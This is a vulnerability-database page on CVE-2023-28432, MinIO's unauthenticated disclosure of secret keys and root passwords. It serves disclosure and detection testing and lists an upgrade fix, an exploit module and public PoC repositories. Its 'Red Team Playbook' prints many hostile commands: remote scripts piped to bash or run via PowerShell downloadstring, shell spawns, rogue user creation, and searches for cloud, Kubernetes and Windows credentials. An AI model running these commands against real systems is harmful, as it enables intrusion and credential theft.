CVE-2023-28432
Overview
This vulnerability is an information disclosure flaw caused by improper handling of environment variables in the MinIO distributed cluster deployment. Specifically, the system exposes sensitive environment variables such as MINIO_SECRET_KEY and MINIO_ROOT_PASSWORD via an unauthenticated HTTP endpoint. The affected component is the cluster bootstrap verification API, which inadvertently returns all environment variables in its response.
Vulnerability Description
Minio is a Multi-Cloud Object Storage framework. In a cluster deployment starting with RELEASE.2019-12-17T23-16-33Z and prior to RELEASE.2023-03-20T20-16-18Z, MinIO returns all environment variables, including `MINIO_SECRET_KEY` and `MINIO_ROOT_PASSWORD`, resulting in information disclosure. All users of distributed deployment are impacted. All users are advised to upgrade to RELEASE.2023-03-20T20-16-18Z.
Impact
An unauthenticated attacker can retrieve sensitive credentials such as secret keys and root passwords from the MinIO cluster. This enables unauthorized access to the object storage environment, potentially allowing data exfiltration, unauthorized data modification, or further lateral movement within the infrastructure. No user interaction or prior authentication is required to exploit this vulnerability, increasing its severity in exposed environments.
Solution
Users should upgrade MinIO to RELEASE.2023-03-20T20-16-18Z or later, as this version addresses the information disclosure issue. The vendor advisory GHSA-6xvq-wj2x-3h3q provides detailed patch instructions and release notes. No alternative workarounds are documented; thus, timely upgrading is the recommended remediation step.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Minio | Minio | All |
cpe:2.3:a:minio:minio:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
MinIO Bootstrap Verify Information Disclosure
auxiliary/gather/minio_bootstrap_verify_info_disc
|
joel @ ndepthsecurity, RicterZ | Unknown | - | View |
GitHub PoCs (20)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
MzzdToT/CVE-2023-28432
MinIO敏感信息泄露漏洞批量扫描poc&exp
|
MzzdToT | 37 | 11 | 2023-03-24 | View |
|
Mr-xn/CVE-2023-28432
CVE-2023-28434 nuclei templates
|
Mr-xn | 34 | 8 | 2023-03-23 | View |
|
acheiii/CVE-2023-28432
CVE-2023-28432 POC
|
acheiii | 15 | 2 | 2023-03-24 | View |
|
Chocapikk/CVE-2023-28432
Automated vulnerability scanner for CVE-2023-28432 in Minio deployments, revealing sensitive environment variables.
|
Chocapikk | 11 | 1 | 2023-09-05 | View |
|
Cuerz/CVE-2023-28432
CVE-2023-28432 MinIO敏感信息泄露检测脚本
|
Cuerz | 10 | 0 | 2023-03-29 | View |
|
gobysec/CVE-2023-28432
MiniO verify interface sensitive information disclosure vulnerability (CVE-2023-28432)
|
gobysec | 10 | 0 | 2023-03-23 | View |
|
Okaytc/minio_unauth_check
CVE-2023-28432,minio未授权访问检测工具
|
Okaytc | 7 | 1 | 2023-03-24 | View |
|
yTxZx/CVE-2023-28432
|
yTxZx | 3 | 2 | 2023-10-20 | View |
|
TaroballzChen/CVE-2023-28432-metasploit-scanner
MinIO Information Disclosure Vulnerability scanner by metasploit
|
TaroballzChen | 1 | 2 | 2023-05-27 | View |
|
xk-mt/CVE-2023-28432
minio系统存在信息泄露漏洞,未经身份认证的远程攻击,通过发送特殊POST请求到/minio/bootstrap/v1/verify即可获取所有敏感信息,其中包括MINIO_SECRET_KEY和MINIO_ROOT_PASSWORD,可...
|
xk-mt | 1 | 2 | 2024-01-11 | View |
|
steponeerror/Cve-2023-28432-
通过vulhub的复现过程实现了,基本的批量检测。比较垃圾但是勉强能用
|
steponeerror | 2 | 0 | 2023-03-27 | View |
|
BitWiz4rd/CVE-2023-28432
PoC MinIO vulnerability exploit
|
BitWiz4rd | 2 | 0 | 2024-04-13 | View |
|
LHXHL/Minio-CVE-2023-28432
|
LHXHL | 1 | 0 | 2023-04-06 | View |
|
unam4/CVE-2023-28432-minio_update_rce
https://github.com/AbelChe/evil_minio/tree/main 打包留存
|
unam4 | 1 | 0 | 2023-11-26 | View |
|
C1ph3rX13/CVE-2023-28432
CVE-2023-28432 Minio Information isclosure Exploit
|
C1ph3rX13 | 1 | 0 | 2023-12-07 | View |
|
netuseradministrator/CVE-2023-28432
|
netuseradministrator | 1 | 0 | 2024-01-07 | View |
|
cgi-italy-insula-processing/minio
Unofficial, unmodified mirror of MinIO RELEASE.2021-02-14T04-01-33Z (Apache-2.0). Unpatched legacy, affected by CVE-2023...
|
cgi-italy-insula-processing | 0 | 0 | 2026-10-01 | View |
|
h0ng10/CVE-2023-28432_docker
Test environments for CVE-2023-28432, information disclosure in MinIO clusters
|
h0ng10 | 0 | 0 | 2023-04-09 | View |
|
CHINA-china/MinIO_CVE-2023-28432_EXP
|
CHINA-china | 0 | 0 | 2023-04-13 | View |
|
NET-Flowers/CVE-2023-28432
CVE-2023-28432检测工具
|
NET-Flowers | 0 | 0 | 2023-08-28 | View |
Threat Feed
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CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Public exploit code is available for this vulnerability
Active exploitation confirmed with 68 sighting(s)
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
59 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (7)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-28432 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/minio/minio/releases/tag/RELEASE.2023-03-20T20-16-18Z |
| twitter.com |
GitHub CVE
|
https://twitter.com/Andrew___Morris/status/1639325397241278464 |
| viz.greynoise.io |
GitHub CVE
|
https://viz.greynoise.io/tag/minio-information-disclosure-attempt |
| greynoise.io |
GitHub CVE
|
https://www.greynoise.io/blog/openai-minio-and-why-you-should-always-use-docker-cli-scan-to-keep-your-supply-chain-clean |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-28432 |